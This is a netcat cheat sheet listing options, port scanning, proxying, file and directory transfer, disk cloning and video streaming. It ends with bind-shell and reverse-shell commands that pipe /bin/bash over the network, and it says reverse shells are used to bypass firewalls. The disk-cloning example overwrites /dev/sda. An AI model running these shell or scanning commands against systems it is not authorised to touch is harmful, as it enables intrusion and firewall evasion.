nc

nc is a network client and server program for Unix-like operating systems such as Linux, macOS, and Windows.

Getting started

Usage

Connect to a host located anywhere

$ nc [options] [host] [port]

Listen for incoming connections

$ nc -lp port [host] [port]

Option examples

Option Description Example
-h nc -h Help
-z nc -z 192.168.1.9 1-100 Port scan for a host or IP address
-v nc -zv 192.168.1.9 1-100 Provide verbose output
-n nc -zn 192.168.1.9 1-100 Fast scan by disabling DNS resolution
-l nc -lp 8000 TCP Listen mode (for inbound connects)
-w nc -w 180 192.168.1.9 8000 Define timeout value
-k nc -kl 8000 Continue listening after disconnection
-u nc -u 192.168.1.9 8000 Use UDP instead of TCP
-q nc -q 1 192.168.1.9 8000 Client stay up after EOF
-4 nc -4 -l 8000 IPv4 only
-6 nc -6 -l 8000 IPv6 only

Chat client-server

Server (192.168.1.9) $ nc -lv 8000

Client

$ nc 192.168.1.9 8000

Examples

$ nc website.com 80 GET index.html HTTP/1.1 HEAD / HTTP/1.1

or

echo "" | nc -zv -wl 192.168.1.1 801-805

Port scanning

Scan ports between 21 to 25 $ nc -zvn 192.168.1.1 21-25

Scan ports 22, 3306 and 8080

$ nc -zvn 192.168.1.1 22 3306 8080

Proxy and port forwarding

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

or

$ nc -l 8001 | nc 127.0.0.1 8000

Create a tunnel from one local port to another

Download file

Server (192.168.1.9) $ nc -lv 8000 < file.txt

Client

$ nc -nv 192.168.1.9 8000 > file.txt

Suppose you want to transfer a file “file.txt” from server A to client B.

Upload file

Server (192.168.1.9) $ nc -lv 8000 > file.txt

Client

$ nc 192.168.1.9 8000 < file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:

Directory transfer

Server (192.168.1.9) $ tar -cvf – dir\_name \| nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

Suppose you want to transfer a directory over the network from A to B.

Encrypt transfer

Server (192.168.1.9) $ nc -l 8000 \| openssl enc -d -des3 -pass pass:password &gt; file.txt

Client

$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000

Encrypt data before transfering over the network

Clones

Server (192.168.1.9) $ dd if=/dev/sda \| nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

Video streaming

Server (192.168.1.9) $ cat video.avi \| nc -l 8000

Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

Streaming video with netcat

Remote shell

Server (192.168.1.9) $ nc -lv 8000 -e /bin/bash

Client

$ nc 192.168.1.9 8000

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.

Reverse shell

Server (192.168.1.9) $ nc -lv 8000

Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections